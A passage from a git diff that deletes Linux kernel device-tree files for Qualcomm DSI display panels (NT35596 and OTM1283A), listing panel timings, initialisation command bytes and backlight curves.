4A 4B 4C 4D 4E - 4F 50 51 51 52 53 54 54 - 55 56 57 57 58 59 5A 5B - 5C 5E 5F 61 62 64 65 67 - 68 6A 6B 6C 6E 6F 71 72 - 74 75 77 78 7A 7B 7D 7E - 7F 81 82 84 85 87 89 8B - 8C 8D 8E 90 91 92 94 95 - 97 98 9A 9B 9D 9E A0 A1 - A3 A4 A5 A7 A8 AA AB AD - AE AF B1 B3 B4 B5 B7 B8 - BA BB BD BE BF C1 C4 C5 - C7 C8 C9 CA CB CD CE D0 - D1 D3 D4 D6 D7 D9 DA DB - DD DE E0 E1 E3 E4 E6 E7 - E9 EA EC ED EE F0 F1 F3 - F4 F6 F7 F9 FA FC FD FF - ]; - qcom,mdss-dsi-on-command-state = "dsi_lp_mode"; - qcom,mdss-dsi-off-command-state = "dsi_lp_mode"; - qcom,panel-alive-reg-content = [ - 09 04 80 73 04 00 - ]; - qcom,mdss-dsi-panel-status-command = [ - 39 01 00 00 00 00 04 B9 FF 83 94 - 39 01 00 00 02 00 0B BA 73 42 00 16 D5 40 10 00 00 24 - ]; - qcom,mdss-dsi-panel-status-command-state = "dsi_lp_mode"; - qcom,mdss-dsi-panel-status-check-mode = "reg_read_yl"; - qcom,mdss-dsi-h-sync-pulse = <1>; - qcom,mdss-dsi-traffic-mode = "burst_mode"; - qcom,mdss-dsi-bllp-eof-power-mode; - qcom,mdss-dsi-bllp-power-mode; - qcom,mdss-dsi-lane-0-state; - qcom,mdss-dsi-lane-1-state; - qcom,mdss-dsi-lane-2-state; - qcom,mdss-dsi-lane-3-state; - qcom,mdss-dsi-panel-timings = [83 1F 17 00 30 2E 1C 21 26 03 04 00]; - qcom,mdss-dsi-t-clk-post = <0x20>; - qcom,mdss-dsi-t-clk-pre = <0x2C>; - qcom,mdss-dsi-bl-min-level = <1>; - qcom,mdss-dsi-bl-max-level = <255>; - qcom,mdss-dsi-dma-trigger = "trigger_sw"; - qcom,mdss-dsi-mdp-trigger = "none"; - qcom,mdss-dsi-bl-pmic-control-type = "bl_ctrl_dcs"; - qcom,mdss-dsi-reset-sequence = <1 10>, <0 2>, <1 10>; - qcom,mdss-pan-physical-width-dimension = <68>; - qcom,mdss-pan-physical-height-dimension = <121>; - qcom,has-tps65132; - }; -}; diff --git a/arch/arm/boot/dts/qcom/cp8675/dsi-panel-nt35596-yashi-otp-id22-auo-fhd-550-video.dtsi b/arch/arm/boot/dts/qcom/cp8675/dsi-panel-nt35596-yashi-otp-id22-auo-fhd-550-video.dtsi deleted file mode 100644 index ff2c29ee957f5..0000000000000 --- a/arch/arm/boot/dts/qcom/cp8675/dsi-panel-nt35596-yashi-otp-id22-auo-fhd-550-video.dtsi +++ /dev/null @@ -1,308 +0,0 @@ -/* Copyright (c) 2014, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -&mdss_mdp { - dsi_nt35596_yashi_otp_id22_auo_fhd: qcom,mdss_dsi_nt35596_yashi_otp_id22_auo_fhd_video { - qcom,cont-splash-enabled; - qcom,mdss-dsi-panel-name = "LCD_TYPE_1080P_3335505_2"; - qcom,mdss-dsi-panel-controller = <&mdss_dsi0>; - qcom,mdss-dsi-panel-type = "dsi_video_mode"; - qcom,mdss-dsi-panel-destination = "display_1"; - qcom,mdss-dsi-panel-framerate = <60>; - qcom,mdss-dsi-virtual-channel-id = <0>; - qcom,mdss-dsi-stream = <0>; - qcom,mdss-dsi-panel-width = <1080>; - qcom,mdss-dsi-panel-height = <1920>; - qcom,mdss-dsi-h-front-porch = <96>; - qcom,mdss-dsi-h-back-porch = <46>; - qcom,mdss-dsi-h-pulse-width = <6>; - qcom,mdss-dsi-h-sync-skew = <0>; - qcom,mdss-dsi-v-front-porch = <7>; - qcom,mdss-dsi-v-back-porch = <6>; - qcom,mdss-dsi-v-pulse-width = <2>; - qcom,mdss-dsi-h-left-border = <0>; - qcom,mdss-dsi-h-right-border = <0>; - qcom,mdss-dsi-v-top-border = <0>; - qcom,mdss-dsi-v-bottom-border = <0>; - qcom,mdss-dsi-bpp = <24>; - qcom,mdss-dsi-underflow-color = <0xff>; - qcom,mdss-dsi-border-color = <0>; - qcom,mdss-dsi-pixel-packing = <0>; - qcom,mdss-dsi-on-command = [ - 39 01 00 00 00 00 02 FF EE - 39 01 00 00 0A 00 02 18 40 - 39 01 00 00 14 00 02 18 00 - 39 01 00 00 00 00 02 24 4F - 39 01 00 00 00 00 02 38 C8 - 39 01 00 00 00 00 02 39 27 - 39 01 00 00 00 00 02 1E 77 - 39 01 00 00 00 00 02 1D 0F - 39 01 00 00 00 00 02 7E 71 - 39 01 00 00 00 00 02 7C 31 - 39 01 00 00 00 00 02 FF 01 - 39 01 00 00 00 00 02 00 01 - 39 01 00 00 00 00 02 01 55 - 39 01 00 00 00 00 02 02 40 - 39 01 00 00 00 00 02 05 40 - 39 01 00 00 00 00 02 06 4A - 39 01 00 00 00 00 02 07 24 - 39 01 00 00 00 00 02 08 0C - 39 01 00 00 00 00 02 0B 7D - 39 01 00 00 00 00 02 0C 7D - 39 01 00 00 00 00 02 0E B0 - 39 01 00 00 00 00 02 0F AE - 39 01 00 00 00 00 02 11 10 - 39 01 00 00 00 00 02 12 10 - 39 01 00 00 00 00 02 13 03 - 39 01 00 00 00 00 02 14 4A - 39 01 00 00 00 00 02 15 12 - 39 01 00 00 00 00 02 16 12 - 39 01 00 00 00 00 02 18 00 - 39 01 00 00 00 00 02 19 77 - 39 01 00 00 00 00 02 1A 55 - 39 01 00 00 00 00 02 1B 13 - 39 01 00 00 00 00 02 1C 00 - 39 01 00 00 00 00 02 1D 00 - 39 01 00 00 00 00 02 1E 13 - 39 01 00 00 00 00 02 1F 00 - 39 01 00 00 00 00 02 23 00 - 39 01 00 00 00 00 02 24 00 - 39 01 00 00 00 00 02 25 00 - 39 01 00 00 00 00 02 26 00 - 39 01 00 00 00 00 02 27 00 - 39 01 00 00 00 00 02 28 00 - 39 01 00 00 00 00 02 35 00 - 39 01 00 00 00 00 02 66 00 - 39 01 00 00 00 00 02 58 82 - 39 01 00 00 00 00 02 59 02 - 39 01 00 00 00 00 02 5A 02 - 39 01 00 00 00 00 02 5B 02 - 39 01 00 00 00 00 02 5C 82 - 39 01 00 00 00 00 02 5D 82 - 39 01 00 00 00 00 02 5E 02 - 39 01 00 00 00 00 02 5F 02 - 39 01 00 00 00 00 02 72 31 - 39 01 00 00 00 00 02 FF 05 - 39 01 00 00 00 00 02 00 01 - 39 01 00 00 00 00 02 01 0B - 39 01 00 00 00 00 02 02 0C - 39 01 00 00 00 00 02 03 09 - 39 01 00 00 00 00 02 04 0A - 39 01 00 00 00 00 02 05 00 - 39 01 00 00 00 00 02 06 0F - 39 01 00 00 00 00 02 07 10 - 39 01 00 00 00 00 02 08 00 - 39 01 00 00 00 00 02 09 00 - 39 01 00 00 00 00 02 0A 00 - 39 01 00 00 00 00 02 0B 00 - 39 01 00 00 00 00 02 0C 00 - 39 01 00 00 00 00 02 0D 13 - 39 01 00 00 00 00 02 0E 15 - 39 01 00 00 00 00 02 0F 17 - 39 01 00 00 00 00 02 10 01 - 39 01 00 00 00 00 02 11 0B - 39 01 00 00 00 00 02 12 0C - 39 01 00 00 00 00 02 13 09 - 39 01 00 00 00 00 02 14 0A - 39 01 00 00 00 00 02 15 00 - 39 01 00 00 00 00 02 16 0F - 39 01 00 00 00 00 02 17 10 - 39 01 00 00 00 00 02 18 00 - 39 01 00 00 00 00 02 19 00 - 39 01 00 00 00 00 02 1A 00 - 39 01 00 00 00 00 02 1B 00 - 39 01 00 00 00 00 02 1C 00 - 39 01 00 00 00 00 02 1D 13 - 39 01 00 00 00 00 02 1E 15 - 39 01 00 00 00 00 02 1F 17 - 39 01 00 00 00 00 02 20 00 - 39 01 00 00 00 00 02 21 03 - 39 01 00 00 00 00 02 22 01 - 39 01 00 00 00 00 02 23 40 - 39 01 00 00 00 00 02 24 40 - 39 01 00 00 00 00 02 25 ED - 39 01 00 00 00 00 02 29 58 - 39 01 00 00 00 00 02 2A 12 - 39 01 00 00 00 00 02 2B 01 - 39 01 00 00 00 00 02 4B 06 - 39 01 00 00 00 00 02 4C 11 - 39 01 00 00 00 00 02 4D 20 - 39 01 00 00 00 00 02 4E 02 - 39 01 00 00 00 00 02 4F 02 - 39 01 00 00 00 00 02 50 20 - 39 01 00 00 00 00 02 51 61 - 39 01 00 00 00 00 02 52 01 - 39 01 00 00 00 00 02 53 63 - 39 01 00 00 00 00 02 54 77 - 39 01 00 00 00 00 02 55 ED - 39 01 00 00 00 00 02 5B 00 - 39 01 00 00 00 00 02 5C 00 - 39 01 00 00 00 00 02 5D 00 - 39 01 00 00 00 00 02 5E 00 - 39 01 00 00 00 00 02 5F 15 - 39 01 00 00 00 00 02 60 75 - 39 01 00 00 00 00 02 61 00 - 39 01 00 00 00 00 02 62 00 - 39 01 00 00 00 00 02 63 00 - 39 01 00 00 00 00 02 64 00 - 39 01 00 00 00 00 02 65 00 - 39 01 00 00 00 00 02 66 00 - 39 01 00 00 00 00 02 67 00 - 39 01 00 00 00 00 02 68 04 - 39 01 00 00 00 00 02 69 00 - 39 01 00 00 00 00 02 6A 00 - 39 01 00 00 00 00 02 6C 40 - 39 01 00 00 00 00 02 75 01 - 39 01 00 00 00 00 02 76 01 - 39 01 00 00 00 00 02 7A 80 - 39 01 00 00 00 00 02 7B A3 - 39 01 00 00 00 00 02 7C D8 - 39 01 00 00 00 00 02 7D 60 - 39 01 00 00 00 00 02 7F 15 - 39 01 00 00 00 00 02 80 81 - 39 01 00 00 00 00 02 83 05 - 39 01 00 00 00 00 02 93 08 - 39 01 00 00 00 00 02 94 10 - 39 01 00 00 00 00 02 8A 00 - 39 01 00 00 00 00 02 9B 0F - 39 01 00 00 00 00 02 FF 04 - 39 01 00 00 00 00 02 07 20 - 39 01 00 00 00 00 02 08 06 - 39 01 00 00 00 00 02 FF 01 - 39 01 00 00 00 00 02 FF 02 - 39 01 00 00 00 00 02 FF 03 - 39 01 00 00 00 00 02 00 50 - 39 01 00 00 00 00 02 01 54 - 39 01 00 00 00 00 02 02 58 - 39 01 00 00 00 00 02 03 5C - 39 01 00 00 00 00 02 04 58 - 39 01 00 00 00 00 02 05 54 - 39 01 00 00 00 00 02 06 50 - 39 01 00 00 00 00 02 07 48 - 39 01 00 00 00 00 02 08 40 - 39 01 00 00 00 00 02 09 38 - 39 01 00 00 00 00 02 0A 30 - 39 01 00 00 00 00 02 0B 28 - 39 01 00 00 00 00 02 0C 28 - 39 01 00 00 00 00 02 0D 28 - 39 01 00 00 00 00 02 0E 28 - 39 01 00 00 00 00 02 0F 20 - 39 01 00 00 00 00 02 10 10 - 39 01 00 00 00 00 02 11 00 - 39 01 00 00 00 00 02 12 00 - 39 01 00 00 00 00 02 13 00 - 39 01 00 00 00 00 02 14 08 - 39 01 00 00 00 00 02 15 10 - 39 01 00 00 00 00 02 16 18 - 39 01 00 00 00 00 02 17 20 - 39 01 00 00 00 00 02 18 28 - 39 01 00 00 00 00 02 19 30 - 39 01 00 00 00 00 02 1A 77 - 39 01 00 00 00 00 02 53 00 - 39 01 00 00 00 00 02 54 00 - 39 01 00 00 00 00 02 5B 00 - 39 01 00 00 00 00 02 63 00 - 39 01 00 00 00 00 02 FF 00 - 39 01 00 00 00 00 02 FF 04 - 39 01 00 00 00 00 02 FF 00 - 39 01 00 00 00 00 02 D3 08 - 39 01 00 00 00 00 02 D4 07 - 39 01 00 00 00 00 02 51 00 - 39 01 00 00 00 00 02 53 24 - 39 01 00 00 00 00 02 55 91 - 39 01 00 00 00 00 02 FF EE - 39 01 00 00 00 00 02 7C 31 - 39 01 00 00 00 00 02 FF 05 - 39 01 00 00 00 00 02 54 75 - 39 01 00 00 00 00 02 FF 00 - 05 01 00 00 78 00 02 11 00 - ]; - qcom,mdss-dsi-off-command = [ - 05 01 00 00 14 00 02 28 00 - 05 01 00 00 78 00 02 10 00 - ]; - cm,mdss-livedisplay-cabc-cmd = [ - 29 01 00 00 00 00 02 55 00 - ]; - cm,mdss-livedisplay-cabc-ui-value = <1>; - cm,mdss-livedisplay-cabc-image-value = <2>; - cm,mdss-livedisplay-cabc-video-value = <3>; - cm,mdss-livedisplay-color-enhance-on = [ - 29 01 00 00 00 00 02 81 81 - ]; - cm,mdss-livedisplay-color-enhance-off = [ - 29 01 00 00 00 00 02 81 00 - ]; - cm,mdss-livedisplay-post-cmd = [ - 05 01 00 00 14 00 02 29 00 - ]; - qcom,panel-backlight-response-curve = [ - 00 01 02 03 04 04 04 04 - 04 04 04 04 05 05 06 06 - 07 07 08 08 09 09 0A 0A - 0B 0B 0C 0C 0C 0C 0C 0C - 0D 0D 0D 0D 0E 0E 0E 0E - 0E 0F 0F 10 11 12 12 13 - 14 15 15 16 17 18 18 19 - 1A 1B 1B 1C 1D 1D 1E 1F - 21 21 21 22 23 23 24 25 - 26 26 27 27 28 28 29 29 - 2A 2A 2A 2B 2B 2B 2C 2C - 2C 2D 2D 2D 2E 2E 2F 2F - 2F 30 30 31 31 31 32 33 - 34 35 37 38 3A 3B 3D 3E - 3F 40 41 42 43 44 45 46 - 47 48 49 4A 4B 4C 4D 4E - 4F 50 51 51 52 53 54 54 - 55 56 57 57 58 59 5A 5B - 5C 5E 5F 61 62 64 65 67 - 68 6A 6B 6C 6E 6F 71 72 - 74 75 77 78 7A 7B 7D 7E - 7F 81 82 84 85 87 89 8B - 8C 8D 8E 90 91 92 94 95 - 97 98 9A 9B 9D 9E A0 A1 - A3 A4 A5 A7 A8 AA AB AD - AE AF B1 B3 B4 B5 B7 B8 - BA BB BD BE BF C1 C4 C5 - C7 C8 C9 CA CB CD CE D0 - D1 D3 D4 D6 D7 D9 DA DB - DD DE E0 E1 E3 E4 E6 E7 - E9 EA EC ED EE F0 F1 F3 - F4 F6 F7 F9 FA FC FD FF - ]; - qcom,mdss-dsi-on-command-state = "dsi_lp_mode"; - qcom,mdss-dsi-off-command-state = "dsi_lp_mode"; - qcom,mdss-dsi-panel-status-command = [06 01 00 01 05 00 02 0A 08]; - qcom,mdss-dsi-panel-status-command-state = "dsi_lp_mode"; - qcom,mdss-dsi-panel-status-check-mode = "reg_read"; - qcom,mdss-dsi-traffic-mode = "burst_mode"; - qcom,mdss-dsi-bllp-eof-power-mode; - qcom,mdss-dsi-bllp-power-mode; - qcom,mdss-dsi-lane-0-state; - qcom,mdss-dsi-lane-1-state; - qcom,mdss-dsi-lane-2-state; - qcom,mdss-dsi-lane-3-state; - qcom,mdss-dsi-panel-timings = [E7 36 24 00 66 6A 2A 3A 2D 03 04 00]; - qcom,mdss-dsi-t-clk-post = <0x20>; - qcom,mdss-dsi-t-clk-pre = <0x2C>; - qcom,mdss-dsi-bl-min-level = <1>; - qcom,mdss-dsi-bl-max-level = <255>; - qcom,mdss-dsi-dma-trigger = "trigger_sw"; - qcom,mdss-dsi-mdp-trigger = "none"; - qcom,mdss-dsi-bl-pmic-control-type = "bl_ctrl_dcs"; - qcom,mdss-dsi-reset-sequence = <1 10>, <0 6>, <1 10>, <0 6>, <1 10>; - qcom,mdss-pan-physical-width-dimension = <68>; - qcom,mdss-pan-physical-height-dimension = <121>; - qcom,mdss-dsi-lp11-init; - qcom,mdss-dsi-init-delay-us = <200>; - }; -}; diff --git a/arch/arm/boot/dts/qcom/cp8675/dsi-panel-otm1283a-boyi-lg-hd-550-video.dtsi b/arch/arm/boot/dts/qcom/cp8675/dsi-panel-otm1283a-boyi-lg-hd-550-video.dtsi deleted file mode 100644 index df1b7902e7775..0000000000000 --- a/arch/arm/boot/dts/qcom/cp8675/dsi-panel-otm1283a-boyi-lg-hd-550-video.dtsi +++ /dev/null @@ -1,333 +0,0 @@ -/* Copyright (c) 2014, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -&mdss_mdp { - dsi_otm1283a_boyi_lg_hd: qcom,mdss_dsi_otm1283a_boyi_lg_hd_video { - qcom,cont-splash-enabled; - qcom,mdss-dsi-panel-name = "LCD_TYPE_OTM1283A_BOYI_LG_HD_550"; - qcom,mdss-dsi-panel-controller = <&mdss_dsi0>; - qcom,mdss-dsi-panel-type = "dsi_video_mode"; - qcom,mdss-dsi-panel-destination = "display_1"; - qcom,mdss-dsi-panel-framerate = <60>; - qcom,mdss-dsi-virtual-channel-id = <0>; - qcom,mdss-dsi-stream = <0>; - qcom,mdss-dsi-panel-width = <720>; - qcom,mdss-dsi-panel-height = <1280>; - qcom,mdss-dsi-h-front-porch = <52>; - qcom,mdss-dsi-h-back-porch = <100>; - qcom,mdss-dsi-h-pulse-width = <24>; - qcom,mdss-dsi-h-sync-skew = <0>; - qcom,mdss-dsi-v-front-porch = <20>; - qcom,mdss-dsi-v-back-porch = <8>; - qcom,mdss-dsi-v-pulse-width = <4>; - qcom,mdss-dsi-h-left-border = <0>; - qcom,mdss-dsi-h-right-border = <0>; - qcom,mdss-dsi-v-top-border = <0>; - qcom,mdss-dsi-v-bottom-border = <0>; - qcom,mdss-dsi-bpp = <24>; - qcom,mdss-dsi-underflow-color = <0xff>; - qcom,mdss-dsi-border-color = <0>; - qcom,mdss-dsi-pixel-packing = <0>; - qcom,mdss-dsi-on-command = [ - 29 01 00 00 00 00 02 00 00 - 29 01 00 00 00 00 04 ff 12 83 01 - 29 01 00 00 00 00 02 00 80 - 29 01 00 00 00 00 03 ff 12 83 - 29 01 00 00 00 00 02 00 c6 - 29 01 00 00 00 00 02 B0 03 - 29 01 00 00 00 00 02 00 B9 - 29 01 00 00 00 00 02 B0 51 - 29 01 00 00 00 00 02 00 80 - 29 01 00 00 00 00 0a c0 00 64 00 0f 11 00 64 0f 11 - 29 01 00 00 00 00 02 00 90 - 29 01 00 00 00 00 07 c0 00 55 00 01 00 04 - 29 01 00 00 00 00 02 00 a4 - 29 01 00 00 00 00 02 c0 00 - 29 01 00 00 00 00 02 00 b3 - 29 01 00 00 00 00 03 c0 00 50 - 29 01 00 00 00 00 02 00 81 - 29 01 00 00 00 00 02 c1 55 - 29 01 00 00 00 00 02 00 80 - 29 01 00 00 00 00 02 c4 30 - 29 01 00 00 00 00 02 00 81 - 29 01 00 00 00 00 02 c4 82 - 29 01 00 00 00 00 02 00 82 - 29 01 00 00 00 00 02 c4 02 - 29 01 00 00 00 00 02 00 87 - 29 01 00 00 00 00 02 c4 18 - 29 01 00 00 00 00 02 00 8A - 29 01 00 00 00 00 02 c4 40 - 29 01 00 00 00 00 02 00 8b - 29 01 00 00 00 00 02 c4 00 - 29 01 00 00 00 00 02 00 90 - 29 01 00 00 00 00 02 c4 52 - 29 01 00 00 00 00 02 00 a0 - 29 01 00 00 00 00 0f c4 05 10 06 02 05 15 10 05 10 07 02 05 15 10 - 29 01 00 00 00 00 02 00 b0 - 29 01 00 00 00 00 03 c4 00 00 - 29 01 00 00 00 00 02 00 90 - 29 01 00 00 00 00 02 c5 50 - 29 01 00 00 00 00 02 00 91 - 29 01 00 00 00 00 03 c5 54 50 - 29 01 00 00 00 00 02 00 94 - 29 01 00 00 00 00 02 c5 66 - 29 01 00 00 00 00 02 00 b0 - 29 01 00 00 00 00 03 c5 04 38 - 29 01 00 00 00 00 02 00 b4 - 29 01 00 00 00 00 02 c5 c0 - 29 01 00 00 00 00 02 00 bb - 29 01 00 00 00 00 02 c5 80 - 29 01 00 00 00 00 02 00 b5 - 29 01 00 00 00 00 07 c5 3b ed 30 3b ed 30 - 29 01 00 00 00 00 02 00 b1 - 29 01 00 00 00 00 02 c6 05 - 29 01 00 00 00 00 02 00 90 - 29 01 00 00 00 00 05 f5 02 11 02 11 - 29 01 00 00 00 00 02 00 b2 - 29 01 00 00 00 00 03 f5 00 00 - 29 01 00 00 00 00 02 00 b4 - 29 01 00 00 00 00 03 f5 00 00 - 29 01 00 00 00 00 02 00 b6 - 29 01 00 00 00 00 03 f5 00 00 - 29 01 00 00 00 00 02 00 b8 - 29 01 00 00 00 00 03 f5 00 00 - 29 01 00 00 00 00 02 00 94 - 29 01 00 00 00 00 02 F5 02 - 29 01 00 00 00 00 02 00 BA - 29 01 00 00 00 00 02 F5 03 - 29 01 00 00 00 00 02 00 C3 - 29 01 00 00 00 00 02 F5 81 - 29 01 00 00 00 00 02 00 B1 - 29 01 00 00 00 00 02 C6 05 - 29 01 00 00 00 00 02 00 80 - 29 01 00 00 00 00 0c cb 00 00 00 00 00 00 00 00 00 00 00 - 29 01 00 00 00 00 02 00 90 - 29 01 00 00 00 00 10 cb 00 00 00 00 00 00 00 00 00 00 00 ff 00 ff 00 - 29 01 00 00 00 00 02 00 a0 - 29 01 00 00 00 00 10 cb ff 00 ff 00 00 00 00 00 00 00 00 00 00 00 00 - 29 01 00 00 00 00 02 00 b0 - 29 01 00 00 00 00 10 cb 00 00 00 ff 00 ff 00 ff 00 ff 00 00 00 00 00 - 29 01 00 00 00 00 02 00 c0 - 29 01 00 00 00 00 10 cb 00 00 00 00 05 05 00 00 05 00 05 05 00 05 05 - 29 01 00 00 00 00 02 00 d0 - 29 01 00 00 00 00 10 cb 05 05 05 00 00 00 00 00 00 00 00 05 05 00 00 - 29 01 00 00 00 00 02 00 e0 - 29 01 00 00 00 00 0f cb 05 00 05 05 00 05 05 05 05 05 00 00 00 00 - 29 01 00 00 00 00 02 00 f0 - 29 01 00 00 00 00 0c cb ff ff ff ff ff ff ff ff ff ff ff - 29 01 00 00 00 00 02 00 80 - 29 01 00 00 00 00 10 cc 00 00 00 00 2E 2D 00 00 29 00 2A 0c 00 0a 10 - 29 01 00 00 00 00 02 00 90 - 29 01 00 00 00 00 10 cc 0e 02 04 00 00 00 00 00 00 00 00 2E 2D 00 00 - 29 01 00 00 00 00 02 00 a0 - 29 01 00 00 00 00 0f cc 29 00 2A 0b 00 09 0f 0d 01 03 00 00 00 00 - 29 01 00 00 00 00 02 00 b0 - 29 01 00 00 00 00 10 cc 00 00 00 00 2D 2E 00 00 29 00 2A 0f 00 09 0b - 29 01 00 00 00 00 02 00 c0 - 29 01 00 00 00 00 10 cc 0d 03 01 00 00 00 00 00 00 00 00 2D 2E 00 00 - 29 01 00 00 00 00 02 00 d0 - 29 01 00 00 00 00 0f cc 29 00 2A 10 00 0a 0c 0e 04 02 00 00 00 00 - 29 01 00 00 00 00 02 00 80 - 29 01 00 00 00 00 0d ce 8b 03 10 8a 03 10 89 03 10 88 03 10 - 29 01 00 00 00 00 02 00 90 - 29 01 00 00 00 00 0f ce f0 00 00 f0 00 00 f0 00 00 f0 00 00 00 00 - 29 01 00 00 00 00 02 00 a0 - 29 01 00 00 00 00 0f ce 38 07 84 fe 00 10 00 38 06 84 ff 00 10 00 - 29 01 00 00 00 00 02 00 b0 - 29 01 00 00 00 00 0f ce 38 05 85 00 00 10 00 38 04 85 01 00 10 00 - 29 01 00 00 00 00 02 00 c0 - 29 01 00 00 00 00 0f ce 38 03 85 02 00 10 00 38 02 85 03 00 10 00 - 29 01 00 00 00 00 02 00 d0 - 29 01 00 00 00 00 0f ce 38 01 85 04 00 10 00 38 00 85 05 00 10 00 - 29 01 00 00 00 00 02 00 80 - 29 01 00 00 00 00 0f cf 70 00 00 10 00 00 00 70 00 00 10 00 00 00 - 29 01 00 00 00 00 02 00 90 - 29 01 00 00 00 00 0f cf 70 00 00 10 00 00 00 70 00 00 10 00 00 00 - 29 01 00 00 00 00 02 00 a0 - 29 01 00 00 00 00 0f cf 70 00 00 10 00 00 00 70 00 00 10 00 00 00 - 29 01 00 00 00 00 02 00 b0 - 29 01 00 00 00 00 0f cf 70 00 00 10 00 00 00 70 00 00 10 00 00 00 - 29 01 00 00 00 00 02 00 c0 - 29 01 00 00 00 00 0c cf 04 01 20 20 00 00 01 80 00 03 08 - 29 01 00 00 00 00 02 00 C2 - 29 01 00 00 00 00 02 F5 C0 - 29 01 00 00 00 00 02 00 80 - 29 01 00 00 00 00 02 C4 01 - 29 01 00 00 00 00 02 00 88 - 29 01 00 00 00 00 02 C4 80 - 29 01 00 00 00 00 02 00 00 - 29 01 00 00 00 00 03 d8 bc bc - 29 01 00 00 00 00 02 00 00 - 29 01 00 00 00 00 02 d9 8b - 29 01 00 00 00 00 02 00 00 - 29 01 00 00 00 00 11 E1 04 0b 10 0d 06 0e 0c 0a 04 07 0c 09 10 16 12 08 - 29 01 00 00 00 00 02 00 00 - 29 01 00 00 00 00 11 E2 04 0B 10 0D 07 0E 0C 0A 04 09 0C 09 10 16 12 08 - 29 01 00 00 00 00 02 00 A0 - 29 01 00 00 00 00 0d D6 01 00 01 00 01 00 01 b3 01 f3 01 b3 - 29 01 00 00 00 00 02 00 B0 - 29 01 00 00 00 00 0d D6 01 b3 01 b3 01 b3 01 b3 01 b3 01 b3 - 29 01 00 00 00 00 02 00 C0 - 29 01 00 00 00 00 0d D6 1e 11 00 77 11 77 a2 11 77 77 11 77 - 29 01 00 00 00 00 02 00 D0 - 29 01 00 00 00 00 07 D6 77 11 77 77 11 77 - 29 01 00 00 00 00 02 00 E0 - 29 01 00 00 00 00 0d D6 1e 11 3c 3c 11 3c 51 11 3c 3c 11 3c - 29 01 00 00 00 00 02 00 F0 - 29 01 00 00 00 00 07 D6 3c 11 3c 3c 11 3c - 29 01 00 00 00 00 02 00 90 - 29 01 00 00 00 00 02 D6 80 - 29 01 00 00 00 00 02 00 81 - 29 01 00 00 00 00 03 D6 03 FF - 29 01 00 00 00 00 02 00 80 - 29 01 00 00 00 00 1d CA 01 8E 95 9D A4 AB B2 BA C1 C8 CF D7 DE E5 EC F4 E8 FF 87 FF 87 FF 05 03 05 03 05 03 - 29 01 00 00 00 00 02 00 00 - 29 01 00 00 00 00 02 C6 10 - 29 01 00 00 00 00 13 C7 90 A9 AA AA AA AA AA AA 99 88 88 88 77 66 55 55 55 55 - 29 01 00 00 00 00 02 00 00 - 29 01 00 00 00 00 02 C6 11 - 29 01 00 00 00 00 13 C7 90 99 AA AA AA AA AA 9A 99 88 88 88 77 66 66 55 55 55 - 29 01 00 00 00 00 02 00 00 - 29 01 00 00 00 00 02 C6 12 - 29 01 00 00 00 00 13 C7 90 99 A9 AA AA AA AA 99 99 88 88 88 77 66 66 66 55 55 - 29 01 00 00 00 00 02 00 00 - 29 01 00 00 00 00 02 C6 13 - 29 01 00 00 00 00 13 C7 90 99 99 AA AA AA 9A 99 99 88 88 88 77 66 66 66 66 55 - 29 01 00 00 00 00 02 00 00 - 29 01 00 00 00 00 02 C6 14 - 29 01 00 00 00 00 13 C7 90 99 99 A9 AA AA 99 99 99 88 88 88 77 66 66 66 66 66 - 29 01 00 00 00 00 02 00 00 - 29 01 00 00 00 00 02 C6 15 - 29 01 00 00 00 00 13 C7 90 99 99 99 AA 9A 99 99 99 88 88 88 77 77 66 66 66 66 - 29 01 00 00 00 00 02 00 00 - 29 01 00 00 00 00 02 C6 16 - 29 01 00 00 00 00 13 C7 90 99 99 99 A9 99 99 99 99 88 88 88 77 77 77 66 66 66 - 29 01 00 00 00 00 02 00 00 - 29 01 00 00 00 00 02 00 17 - 29 01 00 00 00 00 13 C7 80 99 99 99 99 99 99 99 99 88 88 88 77 77 77 77 66 66 - 29 01 00 00 00 00 02 00 00 - 29 01 00 00 00 00 02 00 18 - 29 01 00 00 00 00 13 C7 80 98 99 99 99 98 99 99 99 88 88 88 77 77 77 77 77 66 - 29 01 00 00 00 00 02 00 00 - 29 01 00 00 00 00 02 C6 19 - 29 01 00 00 00 00 13 C7 80 88 99 99 99 88 99 99 99 88 88 88 77 77 77 77 77 77 - 29 01 00 00 00 00 02 00 00 - 29 01 00 00 00 00 02 C6 1A - 29 01 00 00 00 00 13 C7 80 88 98 99 99 88 98 99 99 88 88 88 88 77 77 77 77 77 - 29 01 00 00 00 00 02 00 00 - 29 01 00 00 00 00 02 C6 1B - 29 01 00 00 00 00 13 C7 80 88 88 99 99 88 88 99 99 88 88 88 88 88 77 77 77 77 - 29 01 00 00 00 00 02 00 00 - 29 01 00 00 00 00 02 C6 1C - 29 01 00 00 00 00 13 C7 80 88 88 98 99 88 88 98 99 88 88 88 88 88 88 77 77 77 - 29 01 00 00 00 00 02 00 00 - 29 01 00 00 00 00 02 00 1D - 29 01 00 00 00 00 13 C7 80 88 88 88 99 88 88 88 99 88 88 88 88 88 88 88 77 77 - 29 01 00 00 00 00 02 00 00 - 29 01 00 00 00 00 02 C6 1E - 29 01 00 00 00 00 13 C7 80 88 88 88 98 88 88 88 98 88 88 88 88 88 88 88 78 78 - 29 01 00 00 00 00 02 00 00 - 29 01 00 00 00 00 02 C6 1F - 29 01 00 00 00 00 13 C7 80 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 - 29 01 00 00 00 00 02 00 00 - 29 01 00 00 00 00 02 C6 00 - 29 01 00 00 00 00 02 00 A0 - 29 01 00 00 00 00 02 C1 02 - 29 01 00 00 00 00 02 00 80 - 29 01 00 00 00 00 03 ff ff ff - 29 01 00 00 00 00 02 00 00 - 29 01 00 00 00 00 04 ff ff ff ff - 29 01 00 00 00 00 02 51 00 - 29 01 00 00 00 00 02 53 24 - 05 01 00 00 01 00 02 11 00 - ]; - qcom,mdss-dsi-off-command = [ - 05 01 00 00 14 00 02 28 00 - 05 01 00 00 78 00 